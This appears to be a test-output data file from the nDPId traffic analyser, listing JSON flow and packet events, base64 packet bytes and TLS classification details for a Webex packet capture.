+00410{"flow_id":7,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":188,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570632,"pkt_ts_usec":303284,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAWpAABAGtbJARGlnCggAAQG7oYqF2d\/NeiYxHFAQ\/\/9H8QAA"} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":189,"source":"webex.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1444570632436,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"23.44.253.243","src_port":49048,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":189,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570632,"pkt_ts_usec":436109,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8E6FAAEAGB\/MKCAABFyz987+YAbs3etLXAAAAAKACOQhiaAAAAgQFtAQCCAoATMF2AAAAAAEDAwY="} +00409{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":190,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570632,"pkt_ts_usec":439585,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAWtAABAGSj0XLP3zCggAAQG7v5jIhS0oN3rS2FAS\/\/\/PVQAA"} +00406{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":191,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570632,"pkt_ts_usec":470387,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoE6JAAEAGCAYKCAABFyz987+YAbs3etLYyIUtKVAQOQiWTgAA"} +00492{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":192,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570632,"pkt_ts_usec":470550,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABnE6NAAEAGB8YKCAABFyz987+YAbs3etLYyIUtKVAYOQiFHgAAFgMBADoBAAA2AwGEmq+NZP+kc3ErHq1IRgxSv+RZnIPy+ZyIImU+XVBptwAABAA1AP8BAAAJACMAAAAPAAEB"} +00717{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":192,"source":"webex.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":4,"flow_first_seen":1444570632436,"flow_last_seen":1444570632470,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"23.44.253.243","src_port":49048,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":8,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":193,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570632,"pkt_ts_usec":470778,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAWxAABAGSjwXLP3zCggAAQG7v5jIhS0pN3rTF1AQ\/\/\/PFwAA"} +00493{"flow_id":7,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":194,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570632,"pkt_ts_usec":541070,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ABoRAAACABoRAAABCABFAABjAW1AABAGtXRARGlnCggAAQG7oYqF2d\/NeiYxHFAY\/\/92owAAFAMBAAEBFgMBADD9PmnvW3yJRGDCtXk88uGURezbwFFzyI2PxxOI3cMS57iKf8\/Uw3einH9SeqEXnkY="} +04305{"flow_id":8,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":195,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570632,"pkt_ts_usec":591660,"pkt_caplen":2957,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2957,"pkt_l4_len":2923,"pkt":"ABoRAAACABoRAAABCABFAAt\/AW5AABAGPuMXLP3zCggAAQG7v5jIhS0pN3rTF1AY\/\/8vQwAAFgMBADUCAAAxAwFWGmYO1rhEh3sKERRiLa6er7WS4Mc5yLLjZ\/vDnTpgjAAANQAACf8BAAEAACMAABYDAQsPCwALCwALCAAHJTCCByEwggYJoAMCAQICAwMLXjANBgkqhkiG9w0BAQUFADBAMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOR2VvVHJ1c3QsIEluYy4xGDAWBgNVBAMTD0dlb1RydXN0IFNTTCBDQTAeFw0xNDEyMTgwODI3NTlaFw0xNjAyMTkyMTMyMDZaMIGdMSkwJwYDVQQFEyA1MjhwYWlFTHVjZEpwRWtPanNxSDIzakJDREVvbVEzejELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExETAPBgNVBAcTCFNhbiBKb3NlMRYwFAYDVQQKEw1DaXNjbyBTeXN0ZW1zMQswCQYDVQQLEwJJVDEWMBQGA1UEAxMNd3d3LndlYmV4LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOBsgr08pWRdeldXJQh9ZVWm9nEGfXfgFv7SFWzq8rI+qi4OhNYD0cEyN04QMR15qcWRV6c2PFRpC8IEABY40l4ktzNkaSY2HcFNODzwxJ6O3kvYpx7G5niqPfMhDu6kdAVeIt4YDgYwygfMomu\/sRD32stB0z39Do7CqRCo16k8Pli9rjjhhm4nUy5KGCGQg2uPC8pEHfWBoqIU0xycUWnkpXXq3g+RDZpClE7YQWk1QQ7+En0FD0xicbTUHJl55mF0slM3Rh1+SuTWSoQQnQ\/+uPzY0nIjO2fGxXGbTzZkaCeIZreyw7A\/i6bPmJ7pSHACf2MovqwssuYVqn7kcaMCAwEAAaOCA8QwggPAMB8GA1UdIwQYMBaAFEJ5VBthzVUrPmPVPEhX9Z\/7Rc5KMA4GA1UdDwEB\/wQEAwIEsDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwggJBBgNVHREEggI4MIICNIIQd3d3LndlYmV4LmNvbS5hdYIMd3d3LndlYmV4LmNhggx3d3cud2ViZXguZGWCEHd3dy53ZWJleC5jb20uaGuCD3d3dy53ZWJleC5jby5pboIPd3d3LndlYmV4LmNvLml0gg93d3cud2ViZXguY28uanCCEHd3dy53ZWJleC5jb20ubXiCD3d3dy53ZWJleC5jby51a4ILbS53ZWJleC5jb22CEHNpZ251cC53ZWJleC5jb22CEnNpZ251cC53ZWJleC5jby51a4IPc2lnbnVwLndlYmV4LmRlghFteXRyaWFsLndlYmV4LmNvbYIUbXl0cmlhbC53ZWJleC5jb20ubXiCE215dHJpYWwud2ViZXguY28uaW6CFG15dHJpYWwud2ViZXguY29tLmF1ghNteXRyaWFsLndlYmV4LmNvLmpwghFzdXBwb3J0LndlYmV4LmNvbYIQaG93ZG9pLndlYmV4LmNvbYIMa2Iud2ViZXguY29tghVteXJlc291cmNlcy53ZWJleC5jb22CEmludm9pY2VzLndlYmV4LmNvbYINdHJ5LndlYmV4LmNvbYITYnV5b25saW5lLndlYmV4LmNvbYISYnV5b25saW5lLndlYmV4LmRlghVidXlvbmxpbmUud2ViZXguY28udWuCEXRlbXBib2wud2ViZXguY29tghV0ZW1wc3VwcG9ydC53ZWJleC5jb22CDXd3dy53ZWJleC5jb22CCXdlYmV4LmNvbTA9BgNVHR8ENjA0MDKgMKAuhixodHRwOi8vZ3Rzc2wtY3JsLmdlb3RydXN0LmNvbS9jcmxzL2d0c3NsLmNybDAdBgNVHQ4EFgQUrzja2z769pN9I4b3r3d3lm17XYIwDAYDVR0TAQH\/BAIwADBvBggrBgEFBQcBAQRjMGEwKgYIKwYBBQUHMAGGHmh0dHA6Ly9ndHNzbC1vY3NwLmdlb3RydXN0LmNvbTAzBggrBgEFBQcwAoYnaHR0cDovL2d0c3NsLWFpYS5nZW90cnVzdC5jb20vZ3Rzc2wuY3J0MEwGA1UdIARFMEMwQQYKYIZIAYb4RQEHNjAzMDEGCCsGAQUFBwIBFiVodHRwOi8vd3d3Lmdlb3RydXN0LmNvbS9yZXNvdXJjZXMvY3BzMA0GCSqGSIb3DQEBBQUAA4IBAQAvuebUSYomJeazjVaUuaZEOu1eiO9NXlT0gAXaY+nBn9NplhbsHxSHjGcVFhTOlfQJQ7O2PIsniGT8njs\/8EOgAHMOQu7d0YAdoxHCL3Sm9N66NMEpVV2G4WgXygLs4kJh+yUBb1kIku9DiG38AU+r+99Jkqmyn3tMOTCvETWEYkl+blYjS5l0FssSr6KQmrm1sClsOKID4cShgc9IV3B50cL0ujDIZCufuPZyI0qR+lnHIN3+rLqfP\/7mDXbNVamMD49\/DJf7eLfwCr37T4WHDGz9KbKKastRcnHmH2Q518aObG0TJ\/l3+UreTIcQ2rThuXKkjXwSVbbpdWwNMHuUAAPdMIID2TCCAsGgAwIBAgIDAjbQMA0GCSqGSIb3DQEBBQUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTAwMjE5MjIzOTI2WhcNMjAwMjE4MjIzOTI2WjBAMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOR2VvVHJ1c3QsIEluYy4xGDAWBgNVBAMTD0dlb1RydXN0IFNTTCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJCzgMHk5UatcGA9uuUU3Z6KXot1WubKbUGlI+g5hSZ6p1V3mkihkn46HhrxJ6ujTDnMyz1Hr4GuFmpcN+9FQf37mpc8oEOdxt8XIdGKolbCA0mEEoE+yQpUYGa5jFTk+eb5lPHgX3UR8im55IaisYmtph6DKWOy8FQchQt65+EuDa+kvc3nsVrXjAVaDktzKIt1XTTYdwvhdGLicTBi2LyKBeUxY0pUiWozeKdOVSQdl+8a5BLGDzAYtDRN4dgjOyFbLTAZJQ5096QhS6CkIMlszZhWwPKoXz4mdaAN+DaIiixafWcwqQ\/RmXAueOFRJq9VeiS+jDkNd53eAsMMvR8CAwEAAaOB2TCB1jAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFEJ5VBthzVUrPmPVPEhX9Z\/7Rc5KMB8GA1UdIwQYMBaAFMB6mGiNifurBWQMEX2qfWW4ysxOMBIGA1UdEwEB\/wQIMAYBAf8CAQAwOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybC5nZW90cnVzdC5jb20vY3Jscy9ndGdsb2JhbC5jcmwwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5nZW90cnVzdC5jb20wDQYJKoZIhvcNAQEFBQADggEBANTvU4ToGr2hiwTAqfVfoRB4RV2yV2pOJMtlTjGXkZrUJPjiJ2ZwMZzBYlQG55cdOprApClICq8kx6jEmlTBfEx4TCtoLF0XplR4TEbigMMfOHES0tdT41SFULgCy+5jOvhWiU1Vuy7AyBh3hjELC3DwfjWDpCoTZFZnNF0WX3OsewYk2k9QbSqr0E1TQcKOu3EDSSmGGM8hQkx0YlEVxW+o78Qn5Rsz3VqI138S0adhJR\/V4NwdzxoQ2KDLX4z6DOW\/cf\/lXUQdpj6HR\/oaToODEj+IZpWYeZqF6wJHzSXj8gYETpnKXKBuervdo5AaRTPvvz7SBMS24CqFZUE+ENQWAwEABA4AAAA="} +01570{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":195,"source":"webex.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":6,"flow_first_seen":1444570632436,"flow_last_seen":1444570632591,"flow_tot_l4_data_len":3106,"flow_min_l4_data_len":20,"flow_max_l4_data_len":2923,"flow_avg_l4_data_len":517,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"23.44.253.243","src_port":49048,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"www.webex.com.au,www.webex.ca,www.webex.de,www.webex.com.hk,www.webex.co.in,www.webex.co.it,www.webex.co.jp,www.webex.com.mx,www.webex.co.uk,m.webex.com,signup.webex.com,signup.webex.co.uk,signup.webex.de,mytrial.webex.com,mytrial.webex.com.mx,mytrial.webex.co.in,mytrial.webex.com.au,mytrial.webex.co.jp,support.webex.com,howdoi.webex.com,kb.webex.com,myresources.webex.com,invoices.webex.com,try.webex.com,buyonline.webex.com,buyonline.webex.de,buyonline.webex.co.uk,tempbol.webex.com,tempsupport.webex.com,www.webex.com,webex.com","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"714ac86d50db68420429ca897688f5f3","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=GeoTrust, Inc., CN=GeoTrust SSL CA","issuerDN":"C=US, ST=California, L=San Jose, O=Cisco Systems, OU=IT, CN=www.webex.com","fingerprint":"EE:CE:24:B7:67:4D:F0:3F:16:80:F8:DC:E3:53:45:5F:3E:41:25:CD"}} +01136{"flow_id":7,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":196,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570632,"pkt_ts_usec":591823,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"ABoRAAACABoRAAABCABFAAJA7r5AAEAGlkUKCAABQERpZ6GKAbt6JjEchdngCFAQUJgT1wAAFwMBACBH\/1+4ssP5+r51KHoVlXmGpHPOXLNFe7ZVKdpfEkx8jxcDAQPghB7AHD4xu8ZetThKlFRnvqmplDEr11sv6gYnz9qjgq3dJjSM7RNpvbBrH0Nzfe67METwiZy0iTxD4QLgGHKmVAaddH6YdM5gElDiZD4SLJFZUuLjAKFacvU115VMsETKBJWkWaUd8sTg8686+hrMEqv1r65DGTFztVOdGNrfhbGwkRrF6j6hEVvedoU88QtrIwx1MobLlb0pj1qo\/Lbq1xUQ9hGY9l8wp4AM\/5KTsAhFGmm+9PSqM5t6J0VghK9SqBIC2PPVZdhjZWVTW\/0ZYb0K2exYkTCPtefugNGyls7zqQMrqi+OMLC+STkfN0Mf23LPHCIEagt6Od\/7TYM6TojeonOEZs5GjNftM4H8mvn0tPEbUUqTl0YhTCRHmnojAWsquYWV0CC3WbslLhBn87PKf1RIjhs6PEKo4TMsRKCEc6YzqyeaQ9x09FzuAosWemPanxyw0HR9fjfQ7L+A3OINGFNvoWE9p+5X5oSI0qCLmoHspcRmVjxM5xDYXze5XoFrJNuM6u3cYQimqJAqNTcVL\/wJh2tIbre42JJ2Rjp79tAaVQbzwrHJHG8pOma7icNf7k\/vOZaOpxo\/2rSuEg4FPyhv\/H8gu+JW8eWZz5hfYjNHYokY\/B3UJaAqnrNSSW9rrha+1xSpOBFUY0w="} +00409{"flow_id":7,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":197,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570632,"pkt_ts_usec":591949,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAW9AABAGta1ARGlnCggAAQG7oYqF2eAIeiYzNFAQ\/\/9FngAA"} +01079{"flow_id":7,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":198,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570632,"pkt_ts_usec":592020,"pkt_caplen":552,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":552,"pkt_l4_len":518,"pkt":"ABoRAAACABoRAAABCABFAAIa7r9AAEAGlmoKCAABQERpZ6GKAbt6JjM0hdngCFAYUJj3gwAAdTTP33MwkthbMd82fpGfgOpHvwaDOGy6Sk\/8Fk5XzjJZGf22ZbFlL3jYmDgAZ4bP3IPBxlr\/NWvNQ06vurmjjtRmSb9upUIgnYaIqqOa3THIU7rQsNMJ22Pmedl4tNLVnrXo1B6knUiXGp3dq7vntLeyIMEuijyYif9cvXdJJruDE9Re+TzlwAOr4qgBTWi18bDyRHzev002AePGC13x4PsucY2Qex1rN9Fc8cYDRYQaep1a3zQBAoaw1OOIqs4ftmq22T0mLwzQviqD1US0Nu7z1iYuOFdPgOA3SbZulf+0VVKqk5r2nBPCfG0ykFYzsc2FsceEm+XmQC5wYc9VL9y0mMwQipbEMvqAOTt2hCZDoGDj2FYOi9zjpyn0JD716pGEMCu30oiNFN8yynqLYWL5ejMB6mizwXoaX1EKQDZf7Y7lTCa4EAdNcgX8nBzKpWk5tzKbCPdWCsxFngzQgCGbDF3iF5r3M+G4M4xMupxMBO3faHFxx4Nai4tQUVusDiVaZ+t\/jBryBJj\/7kkueGKZVC17donrAZspaKCyKhQ2dWqakJiaZjJksazyIb7OJg+c2An+Wj1m4ldythC7QPEkMkCvicpse2E7PhJmlUPqlj33IGckrUPLVZxqpn0sgv\/3OWu1rgPVfAYVvKyuGXsC"} +00406{"flow_id":8,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":200,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570632,"pkt_ts_usec":592184,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoE6RAAEAGCAQKCAABFyz987+YAbs3etMXyIU4gFAQT2F0XwAA"} +00853{"flow_id":8,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":201,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570632,"pkt_ts_usec":601338,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFuE6VAAEAGBr0KCAABFyz987+YAbs3etMXyIU4gFAYT2EXIQAAFgMBAQYQAAECAQA3gUh+9Py1i5Xn+R4AeK\/Yi6lqDjWMQ5d+rHw8ctE6tvKZ+9B4A90xzXSLvLO0uDTotK6Q1psweYfGDcy52D18tt0HiiWYSpx68D4uG72qOngmDYzvnpLOdA2aTH9oo0CIpnOdRmJ3IZixCFs3u8GvIlTziTqK54HCEoPunBzhEYksW6Cb4QKmdm1UCbipU\/dWYQ8zBPELXwQv7LANgMBHmBlcvJfW\/osiJhnD\/z69TX6Yltb1YZktj7FQFd8RxzR\/3D5BBbEHSc+mOnbQ0mBlYNk8bupl6KcazDlDftOqSbulpwEwz9pM5y90eNO43cyBMJIH5tIDqKiO3qk4u\/a8FAMBAAEBFgMBADCf9JhlDUK3CWfQB\/2YSdvvbIrKS7Nw0NkBL7IYXGt3WhhzVaRD8UvHQWU5sQZyQ\/4="} +00409{"flow_id":8,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":202,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570632,"pkt_ts_usec":601558,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAXFAABAGSjcXLP3zCggAAQG7v5jIhTiAN3rUXVAQ\/\/\/CegAA"} +00730{"flow_id":8,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":203,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570632,"pkt_ts_usec":690729,"pkt_caplen":288,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":288,"pkt_l4_len":254,"pkt":"ABoRAAACABoRAAABCABFAAESAXJAABAGSUwXLP3zCggAAQG7v5jIhTiAN3rUXVAY\/\/+uNAAAFgMBAKoEAACmAAAcIACg\/5o9lNAmsXn\/5rGN4d3vFSaiCYEsd0hyG6WcG6ZfMNyTYECTo+q\/iGRtefwO0uoU\/LlWOkAEzUNUSxsaspZ2rBkOwwKvAxUxn3dozCkMekS2N2dCBgKC3LFDzqHKElw4nTqINzcgEVAwH63q\/ihN57eGSf5pJvrU45ULYh60P9hBSDRYiwt+no09OSeqalzwebumF8UtpEccNfFkvoSRhRQDAQABARYDAQAw1dnAOvNaCxNuG1cfh8mCzP\/hBZB8sP9yrrk+2q9HPBtdPFBWKMqCmBOMcSscWPFY"} +00940{"flow_id":8,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":204,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570632,"pkt_ts_usec":741545,"pkt_caplen":448,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":448,"pkt_l4_len":414,"pkt":"ABoRAAACABoRAAABCABFAAGyE6ZAAEAGBngKCAABFyz987+YAbs3etRdyIU5alAYZg80BwAAFwMBACBxWD53Zj93gjKQlE6ziBsrn9OmmOAPBlF909b9tfWsLxcDAQFg+GPgFA6SIoNaj25JyUmVdBUA+cujcpc3ZD8aK8oX77uPH6eCwfKytVlfbsfvBjNeyjOSFK+OcyADM6ZrfQVxLefI0PXLnhQR98i6YFfbAERTGqaXoy5UAie0Bk7E4Bqocuzl43qWoOj+GMkvhSmL+t0cA7JMROvP4shTzopIs8P6EZGo0Bwr7h+vOqmOXDd7shYIzQwnrW0y8D\/KO9MZCH4QduDcCKAnhEv7Evr2czO9AfejoHf0BarSMi8CdV25TRelXbba90LrVl98OeIX68kTStZcpsXpto5ATCiYfRozOw0l8Ng5iO1Eb2O50ZjWgnraJTvn9nZWEwjjWdpYEQOCk2kwhd6m8RifkmJihpQLKs1P0F8GgaWucxgYoJYTPEwr95NigQ8RwOLy+f1FDZHkj+W9nHbdu61LDRFsszZPrPYICCJnn6zdO8iTuNpR+jLLoWcWB\/LP3OIHaEbPfw=="} +00410{"flow_id":8,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":205,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570632,"pkt_ts_usec":742559,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAXNAABAGSjUXLP3zCggAAQG7v5jIhTlqN3rV51AQ\/\/\/ABgAA"} +01097{"flow_id":8,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":212,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570633,"pkt_ts_usec":137443,"pkt_caplen":560,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":560,"pkt_l4_len":526,"pkt":"ABoRAAACABoRAAABCABFAAIiAXdAABAGSDcXLP3zCggAAQG7v5jIhTlqN3rV51AY\/\/9sYwAAFwMBAdBr6rILLXSFfLg2xmcpp7IzjJDTPMXzdMKTosQVEQmd\/NFjPQ1znLompWH0SbWBVqguYeRqgYBlLJDr3tKAHftNbqlL1TEL7I5ZOaJboZ3flnha2DT2kZCvC40+JCvHZ96tdi4z7uHrb00aqlbZ2zCfdV2cmlPpxVzTjfMRLbdS6on04jNn\/ItcWbN0OEGtifIJ+tXSTg2GCfeyHT9p8mJv7osbIyon4jClJrZ\/qLYu2c5e6lKxDhQyetNN0IO\/tQ6GAnSpzUiUPMbb0\/rKdtDFoqgU1gB7IpWDe0iMGmFtFpoklWekWY3QllPKp1PNOP1edC0+GG9YeXTyBA\/03Oh8QBf4Y+PxScTe0HKoR0ivtezQkVoHn61lY+na6E092GzZVlfDp5XdmhUKToC9vcNKWuFOdILwYY1PQgXTNU4zkdW+\/8VSpxdux626mbKN23DPSjKheShbpaOotO0Ftm6rB6\/EALB2Q2kks0SK3KuoRYbRbqQauFGEvzX6V6k3YoRQ5EIZwW6UOBcmAqTJicciQWaA7f4XHbTqalPo97knYeYd26wFwPqRjQTH9Gd3EEqkG9i9uE1U4gze1BDS+uRRlo1SBbV137uDSdiTgOQUXBUDAQAgwS\/Rg9gFfgiFf+h0mxtWS3MfWKg4wYwBTN8NPs0oChM="} +00407{"flow_id":8,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":217,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570633,"pkt_ts_usec":205058,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoE6dAAEAGCAEKCAABFyz987+YAbs3etXnyIU7ZFAUfL1BSwAA"} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":218,"source":"webex.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1444570633357,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41358,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":218,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570633,"pkt_ts_usec":357298,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA87DBAAEAGmtcKCAABQERpZ6GOAbtaKC3iAAAAAKACOQht0gAAAgQFtAQCCAoATMHSAAAAAAEDAwY="} +00408{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":219,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570633,"pkt_ts_usec":360351,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAXpAABAGtaJARGlnCggAAQG7oY6l19IdWigt41AS\/\/9Y1AAA"} +00406{"flow_id":9,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":220,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570633,"pkt_ts_usec":360483,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo7DFAAEAGmuoKCAABQERpZ6GOAbtaKC3jpdfSHlAQOQgfzQAA"} 